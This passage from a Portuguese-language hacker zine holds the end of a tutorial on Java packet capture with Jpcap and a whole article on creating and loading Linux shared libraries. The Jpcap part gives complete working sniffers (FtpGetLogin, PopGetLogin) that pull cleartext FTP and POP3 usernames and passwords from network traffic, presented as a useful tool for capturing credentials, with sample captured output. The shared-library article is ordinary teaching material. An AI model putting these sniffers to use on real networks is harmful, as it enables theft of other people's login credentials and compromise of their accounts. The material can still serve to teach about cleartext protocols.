$ man pcap Uma vez com o J2SDK e a libpcap instalados, e' necessaria a instalacao da Jpcap. --=[ Instalando JPCAP Jpcap e' um conjunto de classes que prove meios para captura de pacotes (sim faz o mesmo que a libpcap mas faz isso utilizando-a). E' necessario efetuar o download dela em [2]. A versao utilizada foi a 0.01.16. A instalacao e' efetu- ada da seguinte forma: $ tar xzvf jpcap-0.01.16.tar.gz # cp jpcap-0.01.16/lib/libjpcap.so $JAVA_HOME/jre/lib/i386/ # cp jpcap-0.01.16/jars/net.sourceforge.jpcap-0.01.16.jar \ $JAVA_HOME/jre/lib/ext/ # echo "export CLASSPATH=\"$JAVA_HOME/jre/lib/ext/net.sourceforge.jpcap-0.01.16.jar\"" A instalacao do que sera necessario para iniciarmos em java esta conclu- ida. Apenas tenha certeza de que tudo foi corretamente instalado e esta funcio- nando (o proximo exemplo nos dara certeza disso, portanto, compile-o). --=[ A Linguagem Java Java e' uma linguagem robusta, com uma utilizacao muito grande, indo desde simples smart-cards, passando por telefone celular e indo ate'super-compu- tadores. Diferentemente de outras linguagens, o compilador java nao gera codigo em "linguagem de maquina", que e' a representacao que "os computadores entendem" , ao inves disso ele gera um "bytecode", que e' uma representacao interpretada pela maquina virtual java (JVM). Ou seja, java nao e' nem compilada, como a lin- guagem C por exemplo, e nem interpretada, como PHP ou PERL. Para desenvolver em java, e' necessario ter um conhecimento, mesmo que minimo, sobre o conceito de "orientacao a objeto" (OOP), que e' uma forma de manipulacao e armazenamento de dados diferente da utilizada em linguagens estruturadas. Um aprofundamento sobre programacao em java pode ser encontrado em [4]. --=[ Iniciando o uso de JPCAP Indo diretamente a exemplos, comecamos com um que lista os dispositivos disponiveis na maquina: <++> java/ListaDispositivos.java import net.sourceforge.jpcap.capture.*; import net.sourceforge.jpcap.net.*; /** * Lista os dispositivos de rede presente na maquina * by tDs tds@motdlabs.org * * Compile com $javac ListaDispositivos.java */ public class ListaDispositivos { // Cria uma instancia de PacketCapture, que sera o objeto responsavel pela // manipulacao das interfaces de rede (neste caso). private static PacketCapture mPcap = new PacketCapture(); public static void main(String[] args) { try { // Obtem uma lista com as interfaces disponiveis String dev[] = mPcap.lookupDevices(); System.out.println ("Foram encontrados " + dev.length + " dispositivos:"); //exibe cada dispositivo encontrado for (int cont = 0; cont < dev.length; cont++) System.out.println (" - " + dev[cont]); } catch (Exception e) {} } } <--> java/ListaDispositivos.java Apenas lendo os comentarios do codigo conseguimos ter um perfeito enten- dimento do que ele faz. Executando-o como root vemos o seguinte (que pode e cer- tamente sera diferente): # javac ListaDispositivos.java # java -cp . ListaDispositivos PacketCapture: loading native library jpcap.. ok Foram encontrados 4 dispositivos: - lo - eth0 - eth1 - ppp0 # O comando "java -cp . ListaDispositivos" executa a classe ListaDisposi- tivos.class (que foi previamente compilado com "javac ListaDispositivos.java"), informando que o classpath (localizacao das classes) e' o diretorio corrente ( "." ). Note que nao e' necessario informar o nome do arquivo que sera execu- tado, mas somente o nome da classe, que neste caso e' "ListaDispositivos". Observe que somente o root pode executar. No caso de um usuario sem privilegios, teriamos o seguinte: $ java -cp . ListaDispositivos PacketCapture: loading native library jpcap.. ok Foram encontrados 0 dispositivos: $ O exemplo seguinte vai exibir todos os pacotes que estejam iniciando uma conexao em algum servico local. A verificacao e' dada atraves do bit SYN setado, estando o ACK em 0. Apenas lembrando, uma conexao tcp e' estabelecida pelo cha- mado "Three Way Handshake", ou algo como "Triplo aperto de maos". Funciona mais ou menos assim: - Host A, que vai conectar-se em Host B envia um pacote com a flag SYN, de syncronize, que solicita ao Host B uma sincronizacao de "sequence numbers", que sao os numeros de sequencia de pacotes tcp. - Host B quando recebe o pacote com a flag SYN setada, responde ao Host A com um outro pacote, tendo as flags SYN e ACK, de Acknowledgement, setadas. - Host A envia entao um terceiro pacote, com a flag ACK setada. Apos isso a conexao e' estabelecida. Com isso em mente e' possivel perceber como podemos verificar se um pa- cote que chega e' ou nao o pedido de uma nova conexao. Vamos ao exemplo: <++> java/CapturaInicioConexao.java import net.sourceforge.jpcap.capture.*; import net.sourceforge.jpcap.net.*; /** * Exibe todos os pacotes que sejam enviados em pedidos de conexao * a servicos locais * by tDs tds@motdlabs.org * * Compile com $javac CapturaInicioConexao.java */ public class CapturaInicioConexao { private static final String FILTER = "proto TCP"; private static String devHandler; // Cria uma instancia de PacketCapture, que sera o objeto responsavel pela // manipulacao das interfaces de rede (neste caso). private static PacketCapture pcap = new PacketCapture(); public static void main(String[] args) { try { // Obtem uma lista com as interfaces disponiveis // e assina mDevice com o primeiro encontrado String dev[] = pcap.lookupDevices(); devHandler = dev[0]; // abre inteface para iniciar captura de pacotes pcap.open(devHandler, true); // adiciona um filtro (protocolo = TCP) para captura de dados pcap.setFilter(FILTER, true); // registra um RawPacketListener, que e' o objeto que vai // "ler/escutar" os pacotes que nos interessa pcap.addPacketListener(new PacketHandler()); // inicia captura de pacotes pcap.capture(-1); } catch (Exception e) {} } } /** * cria um packet listener, que ira receber os pacores enviados * por um PacketCapture que o registre */ class PacketHandler implements PacketListener { private static int pcounter = 0; public void packetArrived(Packet pacote) { TCPPacket tcp = (TCPPacket) pacote; // feita uma verificacao se o bit SYN esta setado // e mais nenhum outro if (tcp.isSyn() && !tcp.isAck() && !tcp.isFin() && !tcp.isPsh() && !tcp.isRst() ) { pcounter++; System.out.println("Recebendo pedido de conexao na porta " + tcp.getDestinationPort() + "."); System.out.println("Endereco: " + tcp.getSourceAddress()); } } } <--> java/CapturaInicioConexao.java Executando temos o seguinte: # java -cp . CapturaInicioConexao PacketCapture: loading native library jpcap.. ok Em outro terminal, executamos o seguinte: $ telnet localhost 223 Trying 127.0.0.1... telnet: connect to address 127.0.0.1: Connection refused $ Voltando para a captura de pacotes: # java -cp . CapturaInicioConexao PacketCapture: loading native library jpcap.. ok Recebendo pedido de conexao na porta 223. Endereco: 127.0.0.1 E' possivel observar com esse exemplo acima a facilidade de manipulacao de pacotes. Este proximo exemplo captura pacotes destinados a porta 21 (ftp). Apos a captura sao feitas algumas analises para verificar se o usuario fez login corretamente. Caso tenha feito, exibe o nome e a senha utilizadas para isso. <++> java/FtpGetLogin.java import net.sourceforge.jpcap.capture.*; import net.sourceforge.jpcap.net.*; import java.lang.*; /** * Exibe nome de usuario e senha de tentativas de login bem efetuadas localmente * by tDs tds@motdlabs.org * * Compile com $javac FtpGetLogin.java */ public class FtpGetLogin { private static final String FILTER = "proto TCP and port 21"; private static String devHandler; private static PacketCapture pcap = new PacketCapture(); public static void main(String[] args) { try { String dev[] = pcap.lookupDevices(); devHandler = dev[0]; pcap.open(devHandler, true); pcap.setFilter(FILTER, true); pcap.addPacketListener(new PacketHandler()); pcap.capture(-1); } catch (Exception e) { System.out.println(e.getMessage()); } } } class PacketHandler implements PacketListener { private static String USER = ""; private static String PASS = ""; private static boolean FLAG = false; public void packetArrived(Packet pacote) { // faz um cast do pacote recebido para um tipo TCPPacket TCPPacket tcp = (TCPPacket) pacote; // Obtem o conteudo do campo DATA do pacote TCP byte d[] = tcp.getTCPData(); StringBuffer data = new StringBuffer(); for (int c = 0; c < d.length; c++) data.append( (char) d[c]); // verifica se foi informado usuario/senha e assina o valor a eles if (data.toString().indexOf("USER") != -1) USER = data.toString().replaceAll("USER","").trim(); if (data.toString().indexOf("PASS") != -1) PASS = data.toString().replaceAll("PASS","").trim(); // cod. 230 indica que efetuou login corretamente, levanta uma flag if (data.toString().indexOf("230") != -1) FLAG = true; // cod. 530 indica que nao efetuou login corretamente, apaga info sobre // usuario e senha if (data.toString().indexOf("530") != -1) USER = PASS = ""; // caso tenha se logado, informa o user e a senha if (FLAG) { System.out.println("Recebendo conexao ftp..."); System.out.println("Usuario: " + USER); System.out.println("Senha: " + PASS + "\n"); FLAG = false; } } } <--> java/FtpGetLogin.java Executando temos o seguinte: # java -cp . FtpGetLogin PacketCapture: loading native library jpcap.. ok Em outro terminal, efetuamos um login via ftp: $ ftp localhost Connected to localhost. 220 ProFTPD 1.2.9 Server (tDs's FTP) [matrix.net] Name (localhost:tds): dumb 331 Password required for dumb. Password: 230 User dumb logged in. Remote system type is UNIX. Using binary mode to transfer files. Voltando para a captura de logins: # java -cp . FtpGetLogin PacketCapture: loading native library jpcap.. ok Recebendo conexao ftp... Usuario: dumb Senha: senha Observa-se que, com aproximadamente 70 linhas de codigo, e' possivel fazer uma ferramenta util para captura de usuarios e senhas de ftp. Vamos a mais um exemplo: <++> java/PopGetLogin.java import net.sourceforge.jpcap.capture.*; import net.sourceforge.jpcap.net.*; import java.lang.*; /** * Exibe nome de usuario e senha de tentativas de login bem efetuadas localmente * by tDs tds@motdlabs.org * * Compile com $javac PopGetLogin.java */ public class PopGetLogin { private static final String FILTER = "proto TCP and port 110"; private static String devHandler; private static PacketCapture pcap = new PacketCapture(); public static void main(String[] args) { try { String dev[] = pcap.lookupDevices(); devHandler = dev[0]; pcap.open(devHandler, true); pcap.setFilter(FILTER, true); pcap.addPacketListener(new PacketHandler()); pcap.capture(-1); } catch (Exception e) { System.out.println(e.getMessage()); } } } class PacketHandler implements PacketListener { private static String USER = ""; private static String PASS = ""; private static boolean FLAG = false; public void packetArrived(Packet pacote) { // faz um cast do pacote recebido para um tipo TCPPacket TCPPacket tcp = (TCPPacket) pacote; // Obtem o conteudo do campo DATA do pacote TCP byte d[] = tcp.getTCPData(); StringBuffer data = new StringBuffer(); for (int c = 0; c < d.length; c++) data.append( (char) d[c]); // verifica se foi informado usuario/senha e assina o valor a eles if (data.toString().indexOf("USER") != -1) USER = data.toString().replaceAll("USER","").trim(); if (data.toString().indexOf("PASS") != -1) PASS = data.toString().replaceAll("PASS","").trim(); // +OK ? indica que efetuou login corretamente, levanta uma flag if (data.toString().indexOf("OK") != -1 && USER.length() > 1 && PASS.length() > 1) FLAG = true; // -ERR ? indica que nao efetuou login corretamente, apaga info sobre // usuario e senha if (data.toString().indexOf("-ERR") != -1) USER = PASS = ""; // caso tenha se logado, informa o user e a senha if (FLAG && USER.length() > 1 && PASS.length() > 1) { System.out.println("Recebendo conexao POP3..."); System.out.println("Usuario: " + USER); System.out.println("Senha: " + PASS + "\n"); FLAG = false; USER = PASS = ""; } } } <--> java/PopGetLogin.java Observa-se a grande semelhanca entre o sniffer para FTP e o sniffer para POP3 e a simplicidade de ambos. --=[ Agradecimentos e Links/Referencias Pessoal da scene brasileira toda, em especial ao pessoal que converso com maior frequencia. Voces sabem quem sao voces. Informacao e' simples de se adquirir, internet esta cheia disso. Basta saber procurar... [1] http://www.tcpdump.org/release/libpcap-0.9.0-096.tar.gz [2] http://sourceforge.net/projects/jpcap [3] http://java.sun.com/j2se/1.4.2/download.html [4] http://www.ic.unicamp.br/~cmrubira/aacesta/java/javatut.html _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[15]-=[Desenvolvimento de Bibliotecas]-=|nEuRoMaNcEr|=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 01 - Introdução 02 - Shared libraries 03 - Nomeclatura e localização 04 - Como funcionam as shared libs 05 - ldconfig 06 - Criando uma shared lib 07 - Utilizando shared libs 08 - Utilizando shared libs dinamicamente 09 - dlopen e sua turma. 10 - O que está por vir. --=[ Introdução Saudações pessoas, essa é a minha primeira e humilde contribuição nessa zine, então vamos direto ao ponto. Desenvolvimento de bibliotecas em ambiente linux. Estaremos utilizando ferramentas GNU e talvez alguma parte esquecida dos nossos cérebros. --=[ Shared libraries Para desenvolvermos bibliotecas deste tipo, precisamos ter em mente que elas tem nomes especiais e sua localização no sistema de arquivos é importante para sua utilização. Shared libs são carregadas na inicialização do programa e compartilhada entre programas. --=[ Nomeclatura e localização Toda shared lib tem três nomes especiais. O primeiro nome chamado "nome SO" ou SONAME. O SONAME é composto pelo prefixo "lib" + nome da biblioteca + o sufixo ".so" e um número de versão que é incrementado a cada nova release da biblioteca. O segundo nome especial é o "nome real" ou REALNAME. O REALNAME é formado pelo SONAME + um número de versão + número de release (opcional). O ter- ceiro nome é o nome de link-edição ou LINKERNAME. Este é o nome que o compilador usa quando solicita uma biblioteca. Este nome é basicamente o SONAME sem os nú- meros de versão. Se criássemos agora uma biblioteca chamada "foo", certamente seria a versão 0.0 e a primeira release. Teríamos então libfoo.so.0 como SONAME. O RE- ALNAME seria libfoo.so.0.0.1 e o LINKERNAME seria foo. Depois de criada a biblioteca, ela precisa ser instalada em algum lugar, certo? O padrão GNU recomenda que sejam instaladas em /ust/local/lib quando dis- tribuído junto com código fonte. Porém um outro padrão chamado FHS (Filesystem Hierarchy Standard) define o que deve ir onde em uma distribuição linux. Este padrão diz que as libs devem ser instaladas em /usr/lib ou /lib no caso de bi- bliotecas necessárias para a inicialização do sistema. Embora aparente que os dois padrões se contradigam, isso não acontece, pois o padrão GNU define a loca- lização para distribuição de código fonte, e o padrão FHS usa o ponto de vista de distros e onde cada lib deve estar instalada para ser usada por outros pro- gramas. --=[ Como funcionam as shared libs Para discutirmos o funcionamento das shared libs, temos que estar fami- liarizados com o loader. O loader é um programa geralmente localizado em /lib/ ld-linux.so.? (? é um numero de versão). A tarefa do loader é encontrar e carregar todas as libs utilizadas por um programa durante a sua inicialização. Para encontrar as libs usadas por um programa, ld-linuz.so tem um mapa de diretórios pelos quais ele pode buscar a lib que precisa. Este mapa é o arquivo chamado /etc/ld.so.conf. O padrão fhs pode ser consultado em http://www.pathname.com/fhs. Uma vez que uma lib é carregada na memória, ela permanece lá até que nenhum outro pro- grama utilize símbolos exportados por ela. --=[ ldconfig Pode ser terrivelmente pouco eficiente procurar por todos os diretórios de ld.so.conf durante a inicialização de um programa, então é aí que entra o ldconfig. Esse carinha mantém um cache de localização de libs criado a partir do arquivo /etc/ld.so.conf. Este cache acelera o processo consideravelmente. Este processo pode ser feito com o comando: #ldconfig -n diretorio_com_as_libs Além disso, o ldconfig tem outros superpoderes. Sempre que um nova lib é instalada no sistema, ldconfig é o responsável por configurar seus nomes (SONAME ,REALNAME e LINKNAME) através de links simbólicos e instalá-la no lugar correto no sistema de arquivos. --=[ Criando uma shared lib Ao contrário das DLLs do M$ ruWindows, shared libs em linux não tem um modo específico de ser programado. É simplesmente uma função ou funções exporta- das como símbolos públicos. Simples assim. O código abaixo é o código completo de uma library 100% funcional. --------------libteste.c----------------- <++> sharedlib/libteste.c #include void say(char *s) { printf("You said: %s\n", s); } <--> sharedlib/libteste.c ----------------------------------------- Para compilarmos nossa libteste fazemos: #gcc -fPIC -Wall -c libteste.c -o libmarcio.o O parâmetro -fPIC instrui o compilador a gerar código independente da posição. O parâmetro -c já é manjado. Instrui o compilado a só compilar (e não linkar) o código. O Parâmetro -o também já é manjadão, configura o nome do arquivo ge- rado pelo gcc. Neste ponto temos o nosso código compilado. A única diferença nesta com- pilação foi que geramos código independente da posição onde ele é carregado (PIC ou position independent code). Agora realmente geramos nossa lib com o comando: #gcc -shared -Wl,-soname,libteste.so.0 -o libteste.so.0.0 libteste.o -lc Percebam que estamos definindo o SONAME,REALNAME e LINKNAME neste ponto. Defini- mos o soname com -Wl, -soname libteste.so.0. Definimos o REALNAME com -o libtes- te.so.0.0. Este é o nome que o arquivo compilado terá. Uma vez criada a nossa lib, temos que instalar no sistema de arquivos e criar o cache para ela. Inicialmente copiamos a lib para o diretório /usr/lib (padrão GNU, lembram ?) #cp libteste.so.0.0 /usr/lib Configuramos o cache e o SONAME automaticamente com o ldconfig: ldconfig -n /usr/lib/ Configuramos o LINKERNAME na marra: ln -sf /usr/lib/libteste.so.0.0 /usr/lib/libteste.so TCHANAAAAAMMM! Temos uma shared lib criada e instalada no sistema. Saem lágrimas dos meus olhos sempre que passo por estes passos. É um processo tão lindo... Bom, mas até agora uma lib instalada não é muito útil se for pra ficar perdida lá no disco pegando poeira... Como fazer um programa utilizar o código que exportamos na lib? Simples... Olhe o próximo tópico! :) --=[ Utilizando shared libs Vamos lá cambada, vamos criar um programa que utilize a nossa lib. --------------------------usalib.c------------------------- <++> sharedlib/usalib.c #include // se você criou um header com os cabeçalhos das rotinas exportadas na lib, // inclua ele aqui. Isso permite que o compilador te avise se você está // referenciando a rotina de maneira certa. int main(int argc, char **argv ) { while ( argc > 1 ) // para cada parâmetro passado ao programa... { argc--; say(argv[argc]); // esta função está implementada na nossa lib! } } <--> sharedlib/usalib.c ----------------------------------------------------------- Mais fácil que isso só encontrar bug no SO da concorrência $$$! Durante a compilação, informamos que o nosso código deve ser linkado com a libteste.so. Isso é feito com: #gcc usalib.c -lteste usalib.c -o usalib Para executar o nosso programa faríamos #./usalib wako yako doty Teríamos então a saída: You said: doty You said: yako You said: wako --=[ Utilizando shared libs dinamicamente Uma boa vantagem da utilização de libs é a possibilidade de carregamento dinâmico. Uma lib pode ser carregada em qualquem momento durante a execução de um programa, não sendo restrito somente a sua inicialização. Plugins e módulos não essenciais a execução de um programa podem se beneficiar deste método para carregar as libs que necessitam somente no momento em que forem ativados. Nenhuma modificação por parte da lib precisa ser feita para que este seja capaz de ser associada dinamicamente a um programa. Entretanto, o programa que utilizará o código exportado na lib precisa especificar explicitamente qual símbolo e qual lib deseja acessar. Para essa tarefa temos a libdl. --=[ dlopen e sua turma. A libdl implementa algumas rotinas que nos possibilitam acessar dinami- camente uma lib. As rotinas tem seus cabeçalhos em dlfcn.h como abaixo: void *dlopen(const char *filename, int flag); void *dlsym(void *handle, const char *symbol); int dlclose(void *handle); dlopen() carrega a lib e retorna um "handle" que identifique a lib no contexto do programa. dlsym() retorna o endereço em que um determinado símbolo esta car- regado na memória. dlclose() decrementa as referências ao handle especificado. Se a contagem chegar a zero e nenhuma outra lib utilizar símbolos exportados nesta lib, então ela será descarregada da memória. Para exemplificar, vamos car- regar nossa libteste dinamicamente. -----------------------dinamiclib.c---------------------------- <++> sharedlib/dinamiclib.c #include #include // <----- necessario para carregar dinamicamente a libteste #include int main(int argc, char **argv) { int i; void *module; const char *error; /* Descrevemos uma variavel que guarde o endereco de uma funcao que retorna void e recebe um char * como parametro */ void (*say)(char *); if ( argc == 1 ) { fprintf(stderr, "Que tal passar um parametro hein ??\n"); exit(0); } /* CARREGAMOS A LIBTESTE AGORA */ module = dlopen("libteste.so", RTLD_LAZY); if ( ! module ) { fprintf(stderr,"Erro (%s) ao carregar libteste.so\n",dlerror()); exit(1); } /* OK, neste ponto a lib foi carregada, vamos ober o endereco da rotina say() desta lib*/ say = dlsym(module, "say"); if ( (error = dlerror()) ) { fprintf(stderr, "Erro (%s) ao carregar rotina say\n", error); exit(1); } for (argc-- ; argc > 0; argc-- ) { (*say)(argv[argc]); // chamada a rotina say() da libteste } return 0; } <--> sharedlib/dinamiclib.c --------------------------------------------------------------- Para compilar temos que linkar nosso programa com a libdl: #gcc -ldl dinamiclib.c -o dinamiclib A saída é idêntica a saída do programa usando shared lib. --=[ O que está por vir Senhores, esta introdução é suficiente para iniciar o estudo sobre esse assunto, o ORÁCULO (google) tem muita informação sobre este tema, além é claro dos manpages. Quaisquer dúvidas, sugestões , correções ou comentários são bem vindos e podem ser encaminhados pro meu e-mail ou por msn/icq/sinal de fumaça/telepatia /telefone ou pombo correio. Aproveito para divulgar aqui nesta zine um projeto que desenvolvo que se iniciou com o estudo de libs em linux. Espero estar escrevendo em breve sobre o novo protótipo do projeto que possibilita que qualquer linguagem de programação interpretada como php, perl ou asp, por exemplo, utilize QUALQUER lib sem a ne- cessidade de plugins ou modificações no interpretador da linguagem. A nossa libteste poderia ser chamada em um script php ... que tal ? nEuRoMaNcEr mail: marciomanbr[arroba]yahoo.com.br msn: marciovmf[arroba]hotmail.com icq: 86026760 _EOF_